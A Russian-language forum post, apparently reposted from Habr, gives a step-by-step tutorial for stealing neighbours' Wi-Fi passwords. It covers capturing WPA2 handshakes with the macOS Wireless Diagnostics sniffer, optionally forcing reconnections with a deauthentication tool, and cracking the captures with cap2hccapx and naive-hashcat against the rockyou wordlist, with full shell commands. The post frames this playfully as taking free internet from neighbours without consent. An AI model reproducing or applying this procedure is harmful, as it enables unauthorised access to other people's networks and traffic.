Tundra21_a
Резидент
Я всегда был фанатом багов и уязвимостей «на поверхности», всегда завидовал чувакам, которые пишут эксплойты для самых защищённых ОС, а сам умел только скрипткиддить (термин из нулевых). Однако мой пост про уязвимости в системах контроля версий набрал более 1000 лайков на Хабре и остаётся топ1 постом за всю историю Хабра, несмотря на то, что был написан 9(!) лет назад.
И сегодня я хотел бы на пальцах показать и рассказать про такую штуку, как вардрайвинг. А точнее, как стандартными средствами MacOS можно добыть пароли от Wi-Fi соседей. Нелёгкая забросила меня на очередную квартиру. Как-то исторически сложилось, что я ленивый. Пару лет назад я уже писал, что моя лень, новая квартира и провод Beeline (бывшая Corbina) помогли мне найти баг у Билайна и иметь бесплатно интернет в их сети. «Сегодня» происходит «подобное», я на новой квартире, нет даже провода, но есть много сетей у соседей.
Заколебавшись расходовать мобильный трафик, я решил, что «соседям надо помогать», и под «соседями» я имел введу себя…
Когда-то давно я увлекался вардрайвингом, как раз именно до того момента, пока не обнаружил в старой квартире провод Билайна ) Там тоже было много сетей рядом и первое, что пришло в голову — мне нужен wi-fi. С тех пор прошло много лет. Обновляя свои данные про вардрайвинг, я нашёл в сети упоминание, что 90% работы спец.утилит «сегодня» можно сделать стандартными сервисами MacOS. Забегая вперёд, я хотел бы отметить, что не являюсь автором данного метода, я сам нашёл его в забугорном инете, просто, скажем, это вольный перевод и подробное, художественное описание способа добыть wi-fi пароли стандартными методами макоси, не более.
Принципы добычи паролей соседского Wi-Fi
Надо понимать, что имея Wi-Fi-приёмник, который есть сегодня в любом ноутбуке, ты можешь «снифать» весь беспроводной трафик около себя. Раньше, когда сети были открыты, достаточно было прийти в макдак и за вечер можно было получить 100-200 акков к одноклассникам. Открытая сеть + отсутсвие https делали своё дело.
Сейчас всё интереснее, все переходят на https (пользуясь случаем, хочу передать привет Lets Encypt. Любимый Lets Encypt, я в телевизоре и передаю вам привет, спасибо, что вы есть) и даже про WEP уже все забыли, все роутеры юзают WPA2. Но, как известно, меч был придуман раньше щита, и никакой WPA2 не помеха человеку, голодного до интернета и видящего около себя кучу Wi-Fi.
Продолжим. Имея Wi-Fi карту, т.е. любой современный ноутбук, мы можем снифать трафик возле себя. Но он бесполезен, ибо зашифрован. Единственное, что можно разобрать из него — метаданные, типа название сетей итп и «рукопожатия», handshake, т.е. авторизации пользователей в сети. Они происходят каждый раз, когда пользователь подключается к wi-fi-сети. Например, когда сосед приходит домой и его смартфон в кармане цепляется к домашнему wi-fi.
Если совсем грубо, рукопожатия представляют собой обычный хэш типа md5.
Это правда совсем грубо. Ключ там получается путем 4096 раундов SHA1. Если быть точным, то формула такая: Key = PBKDF2(HMAC−SHA1, passphrase, ssid, 4096, 256)
Кстати, можно заметить, что замешивается название точки, поэтому при уникальном названии предвычисления не помогают. И это аргумент за то, чтобы менять название точки на свое.
И да, я солгал в своём первом абзаце про «дешифрацию», это техническая ошибка и подмена понятий. Конечно, дешифровать хэш невозможно. Это как говорить «лицензия такси», зная, что деятельность такси в РФ не лицензируется. Но просто так удобней )
Так вот. Всё, что нам надо — это найти среди траффика радиосети вокруг себя рукопожатия и «дешифровать» их. И раньше была куча софта для всего это. Кто-то умел грамотно сканировать радиоканал, кто-то отлично его сниффал в дампы, кто-то находил хэши в дампах, кто-то умел их ломать. Сейчас всё стало проще, благодаря Тиму Куку. 90% работы за стороннее ПО делает стандартное приложение «Беспроводная диагностика». Многие его видели — когда проблемы с Wi-Fi, мак предлагает проверить сеть. Бесполезная утилита, которая даёт советы типа «перезагрузите роутер». Ну, т.е. мне так казалось )
Добываем пароли. Соседи вешайтесь ;)
Итак, погнали. Зажимаем Alt и кликаем по логотипу Wi-Fi в верхней панели. Вообще Alt и клик всегда открывает дополнительные опции в MacOS, но это тема отдельного топика.
Помимо прочей доп.инфы, которая порой очень полезная, мы можем запустить программу «Беспроводная диагностика». Думаю, все кто пользуются маком, помнят это окно.
Но нас интересует другое. Кликаем по пункту меню «Окно» и видим набор дополнительных утилит.
И тут прям есть всё, что надо, даже больше ) Конкретно нас интересуют 2 пункта. Сканирование и Анализатор. Первый покажет нам все сети вокруг с доп.инфой, типа на каком канале и на какой частоте работает сеть. Второй пункт позволит сниффать трафик на конкретном канале и частоте.
Нажимая на кнопку «Начать» в Анализаторе, Wi-Fi-карточка переключится в режим приёма и начнёт сканировать радиочастоту вокруг себя, дамп будет писаться в /var/tmp.
Файлы *.wcap это наши дампы, которые содержат бесполезный для нас траффик и нужные нам рукопожатия.
Надо понимать, что нам необходимо поймать именно рукопожатия. Т.е. нам надо поймать и сниффать траффик, когда сосед приходит домой вечером. Либо, если у вас есть ещё одно устройство на макоси, либо любой другой оси, вам помогут нюкеры. Программки, рассылающие поддельные команды деаунтефикации. Например, JamWiFi. Но это если прям совсем не терпится ) На моём опыте, достаточно просто запустить Анализатор в 6 вечера на часок.
Далее нам надо поставить naive-hashcat и hashcat-utils.
«Стоп» скажите вы, «ты же обещал взлом сетей соседа стандартными методами?» ) Ха! И вы мне поверили?! На самом деле мы стандартными методами сделали 90% работы через GUI. У нас уже есть хэши, всё что нам надо — разбить их. Уверен, можно всё сделать и стандартными утилитами, но проще юзать hashcat. Собираем софт через brew или из сорцов. Первым делом нам надо конвертировать наш дамп, оставив в нём только наши хэши. Этим занимается бинарник cap2hccapx из пакета.
Код:
# Качаем hashcat-utils
git clone https://github.com/hashcat/hashcat-utils.git
Cloning into 'hashcat-utils'...
remote: Counting objects: 403, done.
remote: Total 403 (delta 0), reused 0 (delta 0), pack-reused 403
Receiving objects: 100% (403/403), 114.23 KiB | 61.00 KiB/s, done.
Resolving deltas: 100% (257/257), done.
# Собираем бины
cd hashcat-utils/src/ && make
rm -f ../bin/*
rm -f *.bin *.exe
cc -Wall -W -pipe -O2 -std=gnu99 -o cap2hccapx.bin cap2hccapx.c
cc -Wall -W -pipe -O2 -std=gnu99 -o cleanup-rules.bin cleanup-rules.c
…
cc -Wall -W -pipe -O2 -std=gnu99 -o strip-bsr.bin strip-bsr.c
cc -Wall -W -pipe -O2 -std=gnu99 -o strip-bsn.bin strip-bsn.c
# Конвертируем дамп
./cap2hccapx.bin /var/tmp/2018.01.25_00-37-45-GMT+3.wcap /var/tmp/home.hccapx
Мы видим, что успели перехватить 2 рукопожатия, попробуем «сломать их». Для этого нам нужен naive-hashcat:
Код:
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# Собираем софт для osx
./build-hashcat-osx.sh
# качаем вордлист для побора wpa/wpa2 сетей пароли (134MB)
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# указываем адрес нашего дампа и файл, куда будем писать подобранные пассы, 2500 это метка хэшкэту, что надо ломать именно WPA, ну и запускаем naive-hashcat
HASH_FILE=/var/tmp/home.hccapx POT_FILE=home-wifi.txt HASH_TYPE=2500 ./naive-hashcat.sh
Кошка пошла работать. В среднем у меня на маке я имею скорость в 2000 хешей в секунду, на скрине 7к, но это только старт. Судя по этому документу, на 1080gtx можно получить скорость в 400к хешей в секунду. Однако у меня всего 2 рукопожатия и не такой уж и большой словарь, поэтому пробежаться по нему не составило проблем. Смотрим файл home-wifi.txt, вуаля:
Вот и всё. К сожалению, эта сеть через несколько квартир от меня и на другом этаже, пинг 7 секунд ) Надо ловить соседа снизу или брать внешнюю wi-fi-карту с нормальной антенной. Но принцип, думаю, понятен.
Удачных сканирований вам, юные подованы вардрайверы. И большое спасибо разработчикам MacOS за такие подарки.